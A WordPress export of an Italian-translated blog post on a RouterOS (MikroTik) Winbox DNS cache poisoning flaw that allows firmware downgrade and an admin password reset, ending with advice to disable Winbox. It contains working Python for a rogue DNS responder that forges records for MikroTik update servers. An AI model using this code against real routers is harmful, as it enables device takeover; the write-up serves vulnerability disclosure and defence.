{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"La vulnerabilit\u00e0 Backport in RouterOS mette a rischio centinaia di migliaia di dispositivi","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\"La
\n
\nLa possibilit\u00e0 di effettuare il downgrade remoto dei dispositivi basati su RouterOS (Mikrotik) mette a rischio centinaia di migliaia di dispositivi di rete. La vulnerabilit\u00e0 \u00e8 legata al poisoning della cache DNS del protocollo Winbox e consente di caricare un firmware obsoleto (con reset della password a quella predefinita) o modificato sul dispositivo.
\n<\/a><\/noindex>
\n\"La
\n<\/p>\n

Dettagli sulla vulnerabilit\u00e0<\/h3>\n

\nIl terminale RouterOS supporta il comando di risoluzione per cercare DNS.<\/p>\n

\"La
\n
\nQuesta richiesta \u00e8 gestita da un file binario chiamato resolver. Il resolver \u00e8 uno dei molti file binari collegati al protocollo Winbox di RouterOS. A un livello alto, i 'messaggi' inviati alla porta Winbox possono essere instradati in diversi file binari in RouterOS basandosi su uno schema di numerazione array.<\/p>\n

Per default, la funzione del server DNS \u00e8 disabilitata in RouterOS.<\/p>\n

\"La
\n
\nTuttavia, anche con la funzione del server disabilitata, il router mantiene la propria cache DNS.<\/p>\n

\"La
\n
\nQuando facciamo una richiesta, utilizzando winbox_dns_request, ad esempio, example.com, il router memorizzer\u00e0 il risultato nella cache.<\/p>\n

\"La
\n
\nPoich\u00e9 possiamo specificare il server DNS attraverso cui deve passare la richiesta, inserire indirizzi errati \u00e8 banale. Ad esempio, \u00e8 possibile configurare un'implementazione del server DNS di Filippa Klaus<\/a><\/noindex>, per rispondere sempre con un record A contenente l'indirizzo IP 192.168.88.250.<\/p>\n

def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nOra, se cerchi example.com usando Winbox, puoi vedere che la cache DNS del router \u00e8 stata avvelenata.<\/p>\n
\"La
\n
\nCerto, l'avvelenamento di example.com non \u00e8 molto utile, poich\u00e9 il router non lo utilizzer\u00e0 effettivamente. Tuttavia, il router deve fare riferimento a upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com e download.mikrotik.com. E grazie a un altro errore, c'\u00e8 la possibilit\u00e0 di avvelenarli tutti contemporaneamente.<\/p>\n
def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nIl router richiede un'autorizzazione e noi forniamo cinque risposte. Il router memorizza nella cache in modo errato tutte queste risposte.<\/p>\n
\"La
\n
\n\u00c8 evidente che questo attacco \u00e8 utile anche se il router funge da server DNS, poich\u00e9 consente di attaccare i clienti del router.<\/p>\n
Questo attacco permette anche di sfruttare una vulnerabilit\u00e0 pi\u00f9 grave: eseguire il downgrade o il backporting della versione di RouterOS. L'attaccante ricrea la logica del server di aggiornamenti, incluso il changelog, e costringe RouterOS a percepire una versione obsoleta (vulnerabile) come attuale. Il pericolo qui \u00e8 che durante l'\"aggiornamento\" della versione, la password dell'amministratore viene reimpostata sul valore \"predefinito\" \u2014 l'attaccante pu\u00f2 accedere con una password vuota!<\/p>\n
\r\n        \"Riproduci\r\n        
<\/div>\r\n    <\/div><\/center>
\nL'attacco funziona perfettamente, nonostante l'autore<\/a><\/noindex> implementi anche altri vettori, compresi l'inserimento di un backdoor nel firmware<\/a><\/noindex>, ma questa \u00e8 gi\u00e0 una tecnica eccessiva e il suo utilizzo per scopi illegittimi \u00e8 contro la legge.<\/p>\n
Sicurezza<\/h3>\n
\nDisattivare Winbox \u00e8 una semplice misura di protezione contro questi attacchi. Nonostante la facilit\u00e0 di gestione tramite Winbox, \u00e8 consigliabile usare il protocollo SSH.
\n
Fonte: habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
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Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":39605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-39604","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47La vulnerabilit\u00e0 Backport in RouterOS mette a rischio centinaia di migliaia di dispositivi | ProHoster","description":"La possibilit\u00e0 di downgrade remoto dei dispositivi basati su RouterOS (Mikrotik) mette a rischio centinaia di migliaia di dispositivi di rete. La vulnerabilit\u00e0 \u00e8 legata al poisoning della cache DNS del protocollo Winbox e consente di caricare un firmware obsoleto (resettando la password 'di default') o modificato sul dispositivo. I dettagli sulla vulnerabilit\u00e0 Terminal RouterOS supporta il comando di risoluzione per cercare DNS. Questa richiesta viene elaborata da un file binario chiamato resolver. Il resolver \u00e8","canonical_url":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"it_IT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47Backport \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RouterOS \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 | ProHoster","og:description":"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. 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